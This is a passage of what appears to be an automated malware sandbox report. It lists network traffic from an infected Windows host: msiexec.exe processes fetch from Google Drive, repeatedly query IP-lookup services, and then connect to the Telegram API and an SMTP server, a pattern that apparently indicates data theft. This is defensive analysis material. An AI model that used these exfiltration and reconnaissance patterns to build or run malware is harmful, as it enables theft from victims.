Oct 22, 2024 16:12:18.464654922 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.465081930 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.465095043 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.470617056 CEST	80	50022	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:18.470736980 CEST	50022	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:18.557230949 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.557298899 CEST	443	50023	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:18.557471037 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:18.559895992 CEST	50023	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:19.319473028 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.319547892 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:19.322042942 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:19.322063923 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.322314024 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.324151039 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:19.367333889 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.566359997 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.566437960 CEST	443	50025	149.154.167.220	192.168.2.6
Oct 22, 2024 16:12:19.566508055 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:19.608272076 CEST	50025	443	192.168.2.6	149.154.167.220
Oct 22, 2024 16:12:26.375925064 CEST	49999	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:26.847881079 CEST	49998	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:27.633346081 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:27.634773970 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:27.640326023 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:27.640386105 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:27.642396927 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:27.642452002 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.396909952 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.397146940 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.397206068 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.397525072 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.402673960 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.403712034 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.674257040 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.677109003 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.725528955 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.725528955 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.752207994 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.752315998 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:28.757915020 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.758168936 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.997915030 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:28.999497890 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.001622915 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.005012989 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.007301092 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.010626078 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.251183033 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.251218081 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.251231909 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.251411915 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.253350019 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.253498077 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.253509045 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.253519058 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.253544092 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.253580093 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.322314024 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.323127985 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.327760935 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.328576088 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.568785906 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.569119930 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.571279049 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.571484089 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.577143908 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.577303886 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.816849947 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.816871881 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.817212105 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.819228888 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:29.822711945 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:29.824907064 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.062736034 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.063169003 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.065037966 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.065308094 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.068648100 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.070760965 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.360852003 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.360908031 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.361149073 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.361196995 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.366693974 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.366714954 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.606769085 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.606839895 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.607486963 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.607501984 CEST	50027	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.613594055 CEST	587	50028	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.613678932 CEST	50028	587	192.168.2.6	213.165.67.102
Oct 22, 2024 16:12:30.615201950 CEST	587	50027	213.165.67.102	192.168.2.6
Oct 22, 2024 16:12:30.615259886 CEST	50027	587	192.168.2.6	213.165.67.102

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 16:11:52.558813095 CEST	61000	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:11:52.566649914 CEST	53	61000	1.1.1.1	192.168.2.6
Oct 22, 2024 16:11:53.908432961 CEST	50668	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:11:53.916150093 CEST	53	50668	1.1.1.1	192.168.2.6
Oct 22, 2024 16:12:00.009104013 CEST	50180	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:12:00.017455101 CEST	53	50180	1.1.1.1	192.168.2.6
Oct 22, 2024 16:12:03.623106003 CEST	51594	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:12:03.633935928 CEST	53	51594	1.1.1.1	192.168.2.6
Oct 22, 2024 16:12:17.450269938 CEST	55009	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:12:17.458154917 CEST	53	55009	1.1.1.1	192.168.2.6
Oct 22, 2024 16:12:27.623809099 CEST	62610	53	192.168.2.6	1.1.1.1
Oct 22, 2024 16:12:27.632742882 CEST	53	62610	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 22, 2024 16:11:52.558813095 CEST	192.168.2.6	1.1.1.1	0x19cb	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:11:53.908432961 CEST	192.168.2.6	1.1.1.1	0x44c0	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.009104013 CEST	192.168.2.6	1.1.1.1	0x5de7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:03.623106003 CEST	192.168.2.6	1.1.1.1	0xf0fa	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:17.450269938 CEST	192.168.2.6	1.1.1.1	0xa9df	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:27.623809099 CEST	192.168.2.6	1.1.1.1	0x6676	Standard query (0)	smtp.ionos.es	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 16:11:52.566649914 CEST	1.1.1.1	192.168.2.6	0x19cb	No error (0)	drive.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:11:53.916150093 CEST	1.1.1.1	192.168.2.6	0x44c0	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:00.017455101 CEST	1.1.1.1	192.168.2.6	0x5de7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:03.633935928 CEST	1.1.1.1	192.168.2.6	0xf0fa	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:03.633935928 CEST	1.1.1.1	192.168.2.6	0xf0fa	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:17.458154917 CEST	1.1.1.1	192.168.2.6	0xa9df	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:27.632742882 CEST	1.1.1.1	192.168.2.6	0x6676	No error (0)	smtp.ionos.es		213.165.67.102	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:12:27.632742882 CEST	1.1.1.1	192.168.2.6	0x6676	No error (0)	smtp.ionos.es		213.165.67.118	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49990	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:00.027342081 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:00.876904011 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: af95e6869811128c60c3efbcf679efb2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:12:00.880763054 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:01.130698919 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:01 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c4c8aafa42c7a1dfc22f1d1adde75545 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:12:04.430615902 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:04.684355021 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8945eb6e12fb144144bad1e0d0bd2546 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49991	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:03.264094114 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:04.101454973 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:03 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 201d851d5a11b55bfd35a80e30d723d9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:12:04.104168892 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:04.358023882 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 634701a1091a66dc74091b338babe520 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:12:05.786778927 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:06.034399986 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:05 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3f1fe45101646dea29c32ebf66f89733 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49995	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:05.590776920 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:06.422159910 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:06 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4592320010c418da7fd30fbdb28d3dec Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49998	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:06.814937115 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:07.657674074 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e781574b5f1fddd47bdecb1fb2330c23 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49999	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:07.201246977 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:12:08.049173117 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1700365627a90db359b2b106bb4af8d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50002	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:08.517466068 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:09.359898090 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9c2bdfb57dfca1ae22fd29f98860d2a4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50003	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:08.958656073 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:09.804703951 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3fbecf5b71f0e0c814cf61e8d4c39eb0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50006	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:10.129796982 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:10.967521906 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:10 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e01735d69b764cc933b85bb4dfec8bc9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50007	193.122.6.168	80	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:12:10.567869902 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:12:11.393496037 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1f10f999a760dfdc2a327fb32cc8c303 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50010	193.122.6.168	80	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
